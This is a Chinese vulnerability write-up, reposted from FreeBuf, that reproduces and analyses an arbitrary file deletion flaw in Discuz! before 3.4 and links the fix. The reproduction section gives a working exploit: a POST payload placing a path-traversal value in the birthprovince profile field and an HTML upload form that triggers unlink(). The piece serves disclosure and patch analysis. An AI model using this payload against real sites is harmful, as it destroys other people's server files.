专栏首页FreeBufDiscuz! 任意文件删除漏洞重现及分析

Discuz! 任意文件删除漏洞重现及分析

0x00 概述

9月29日,Discuz修复了一个前台任意文件删除的漏洞,相似的漏洞曾在2014年被提交给wooyun和discuz官方,但是修复不完全导致了这次的漏洞。

0x01 影响范围

Discuz < 3.4

0x02 漏洞重现

环境:win7+phpstudy+discuz3.2

新建importantfile.txt作为测试

进入设置-个人资料,先在页面源代码找到formhash值

http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile

可以看到formhash值是b21b6577。

再访问10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base

Post数据:birthprovince=../../../importantfile.txt&profilesubmit=1&formhash=b21b6577

如图

执行后

出生地被修改成要删除的文件。

最后构造表单执行删除文件

<form action=”http://10.0.2.15:8999/discuz3_2/home.php?mod=spacecp&ac=profile&op=base” method=”POST” enctype=”multipart/form-data”><input type=”file” name=”birthprovince” id=”file” /><input type=”text” name=”formhash” value=”b21b6577″/></p><input type=”text” name=”profilesubmit” value=”1″/></p><input type=”submit” value=”Submit” /></from>

随便上传一张图片,即可删除importantfile.txt

成功删除importantfile.txt,重现成功!

0x03 修复方案

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

删除unlink相关代码。

0x04 漏洞分析

根据补丁,漏洞存在于upload/source/include/spacecp/spacecp_profile.php。

先看第70行

if(submitcheck(‘profilesubmit’)) {

提交1进入这个判断。

来到220行,补丁前:

往上看来到:

可以看出文件上传成功就可以进入228行的unlink从而删除指定文件。

现在就看如何控制指定文件,也就是控制key]这个变量。

继续往上看来到:

可以看出space存用户资料,就可以利用space[birthprovince]存要删除的文件。

那如何修改birthprovince为指定文件呢,直接post提交就绕过限制了。

总结整个漏洞利用流程:

修改birthprovince->上传图片->执行unlink->删除任意文件

0x05 结语

删文件……,大家不要乱搞,该补的赶紧补,discuz树大招风,2014的补丁又不补完全,正是这样攻与防的不断博弈,使安全界生机勃勃,妙趣横生,也使互联网愈发安全稳固。

0x06 参考资料

https://www.seebug.org/vuldb/ssvid-96608

https://www.seebug.org/vuldb/ssvid-93588

https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574

https://gitee.com/ComsenzDiscuz/DiscuzX/blob/7d603a197c2717ef1d7e9ba654cf72aa42d3e574/upload/source/include/spacecp/spacecp_profile.php

本文分享自微信公众号 - FreeBuf(freebuf),作者:LSA

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-10-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 某HR业务网站逻辑漏洞挖掘案例以及POC编写思路分享

    各位Buffer你们好,我们许久不见胜似想念,我看到小粉你们的感觉就是"春风拂过泸沽湖,秋雨浸润九寨沟"。今天鄙人我给大家带来的“干货”是逻辑漏洞挖掘的案例和使...

    FB客服
  • Web中间件常见漏洞总结

    IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联...

    FB客服
  • 一名代码审计新手的实战经历与感悟

    blueCMS介绍 个人认为,作为一个要入门代码审计的人,审计流程应该从简单到困难,逐步提升。因此我建议大家的审计流程为——DVWA——blueCMS——其他小...

    FB客服
  • 稻草人(dcrcms)企业站模板-漏洞审计复现

    还是使用phpStudy进行一键式搭建。我这里是在虚拟机搭建的,本机做访问使用。

    洛米唯熊
  • iOS·下载管理第三方框架初步调研

    陈满iOS
  • 记一次360众测仿真实战靶场考核WP

    User-Agent: Mozilla/5.0 (iPhone; CPU iPhoneOS 8_0 like Mac OS X) AppleWebKit/600...

    PaperPen
  • Kafka 中使用 Avro 序列化组件(三):Confluent Schema Registry

    无论是使用传统的Avro API自定义序列化类和反序列化类还是使用Twitter的Bijection类库实现Avro的序列化与反序列化,这两种方法都有一个缺点:...

    CoderJed
  • 除了小蜗牛,我蛙还带来了YUNUCMSv1.0.6

    ? 任意文件删除漏洞 0x00 相关环境 源码信息:YUNUCMSv1.0.6 问题文件: \YUNUCMSv1.0.6\statics\ueditor\p...

    漏斗社区
  • 关于PHP流不得不说的那些事

    相信不少PHP开发者或多或少都见过类似于 "php://input" 或者 "php://output" 这样的内容,很多人都知道这两个的作用一个是接收的 PO...

    硬核项目经理
  • python调用PHP

    py3study

扫码关注云+社区

领取腾讯云代金券